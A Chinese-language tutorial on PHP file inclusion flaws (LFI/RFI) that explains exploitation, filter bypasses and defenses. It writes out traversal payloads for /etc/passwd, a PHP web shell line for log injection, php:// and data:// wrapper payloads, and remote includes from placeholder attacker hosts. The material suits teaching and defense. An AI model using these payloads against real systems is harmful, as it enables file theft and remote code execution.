文件包含漏洞进阶利用与防御绕过技术详解 1. 知识点描述 文件包含漏洞是一种常见的Web安全漏洞，发生在应用程序动态包含外部文件时未对用户输入进行充分验证。攻击者可以诱使应用程序包含恶意文件（如服务器上的配置文件、系统文件或远程文件），从而导致敏感信息泄露、代码执行等严重后果。本专题将深入讲解文件包含漏洞的进阶利用技术、防御绕过方法，帮助您全面理解其攻击原理和应对策略。 2. 文件包含漏洞基础回顾 原理 ：当Web应用使用如PHP中的 include 、 require 、 include_once 、 require_once 等函数，或类似机制动态包含文件时，如果未对用户可控的参数（如 ?file=example.php ）进行严格过滤，攻击者可能通过构造特殊路径来包含非预期的文件。 类型 ： 本地文件包含（LFI） ：包含服务器本地的文件，如 ../../etc/passwd 。 远程文件包含（RFI） ：包含远程服务器上的文件（需 allow_url_include 等配置开启），如 http://attacker.com/shell.txt 。 3. 进阶利用技术详解 3.1 敏感信息泄露的深入利用 常见目标文件 ： /etc/passwd ：查看系统用户列表。 /etc/shadow ：获取密码哈希（需更高权限）。 ../.env 、 config.php ：泄露数据库凭证、API密钥等应用配置。 Apache/Nginx访问日志、错误日志：通过包含日志文件，可能实现代码执行（需可写权限）。 路径遍历技巧 ： 使用 ../ 进行目录跳转，如 ../../../../etc/passwd 。 利用绝对路径，如 /etc/passwd （某些情况下允许）。 使用编码绕过：URL编码（ %2e%2e%2f ）、双重URL编码（ %252e%252e%252f ）、Unicode编码等。 3.2 从LFI到远程代码执行（RCE） 日志注入 ： 识别日志文件位置（如Apache的 /var/log/apache2/access.log ）。 通过User-Agent、Referer等HTTP头注入PHP代码，如 <?php system($_GET['cmd']); ?> 。 包含该日志文件，代码将被解析执行。 PHP伪协议利用 ： php://input ：允许访问请求的原始数据，在POST数据中写入PHP代码并执行。需 allow_url_include=On 。 php://filter ：用于读取文件源码（如 php://filter/convert.base64-encode/resource=config.php ），将文件内容Base64编码后输出，避免直接解析。 data:// ：直接包含数据流中的代码，如 data://text/plain,<?php phpinfo(); ?> 。需 allow_url_include=On 且 allow_url_fopen=On 。 Session文件包含 ： 获取Session文件路径（如 /tmp/sess_[session_id] ）。 向Session中写入PHP代码（通过用户可控的Session变量）。 包含该Session文件执行代码。 3.3 远程文件包含（RFI）的扩展利用 条件 ： allow_url_fopen 和 allow_url_include 均需为On。 利用方式 ：直接包含远程服务器上的恶意脚本，如 http://attacker.com/shell.txt （需为纯PHP代码，无额外HTML）。 结合SMB/WebDAV ：在某些Windows环境下，可通过 \\attacker.com\share\shell.php 或 http://attacker.com@evil.com/shell.txt （利用 @ ）等形式包含。 4. 防御绕过技术详解 4.1 过滤绕过技巧 字符串截断 ：在旧版本PHP（<5.3.4）中，可使用 %00 （空字节）截断，如 ../../../etc/passwd%00 ，但需 magic_quotes_gpc=Off 。 路径拼接绕过 ：若过滤 ../ ，可尝试 ....// 、 ..\ （Windows）、 ..;/ 等变体。 编码绕过 ： URL编码： %2e%2e%2f 等价于 ../ 。 双重URL编码： %252e%252e%252f 。 Unicode/UTF-8编码： %c0%ae%c0%ae%2f （过时，取决于解析方式）。 协议混淆 ：使用 php://filter 的多种过滤器链组合，或混合协议如 php://filter/convert.iconv.UTF-8.UTF-16/resource=file:///etc/passwd 。 4.2 限制条件绕过 后缀限制 ：若强制添加后缀（如 .php ），可尝试： 使用 %00 截断（旧版PHP）。 利用 ? 或 # ：如 ../../../etc/passwd%00.jpg （无效时）或 http://evil.com/shell.txt? （使 .php 成为查询参数）。 使用 php://input 或 data:// 协议，它们不依赖文件后缀。 目录限制 ：若限制包含特定目录（如 includes/ ），可尝试： 绝对路径跳出： /etc/passwd 。 利用日志、Session等文件，其路径可能不在限制目录内。 5. 防御措施 输入验证 ：严格过滤用户输入，仅允许预期的字符（如字母、数字、下划线），拒绝 ../ 、 http:// 等。 白名单机制 ：使用预定义的文件名映射，而非直接使用用户输入作为路径。 禁用危险函数/配置 ：关闭 allow_url_fopen 和 allow_url_include ；设置 open_basedir 限制文件访问目录。 安全编程 ：避免动态包含，如需使用，应固定目录并拼接文件名，如 include('./includes/' . basename($file) . '.php'); 。 文件权限 ：合理设置文件系统权限，限制Web用户对敏感文件的读写。 更新与补丁 ：保持PHP及Web服务器软件最新，避免已知漏洞。 总结 ：文件包含漏洞危害严重，可从信息泄露升级为RCE。攻击者利用编码、协议、过滤缺陷等多重技术进行绕过。防御需结合输入验证、白名单、安全配置等多层次策略，从根本上杜绝漏洞产生。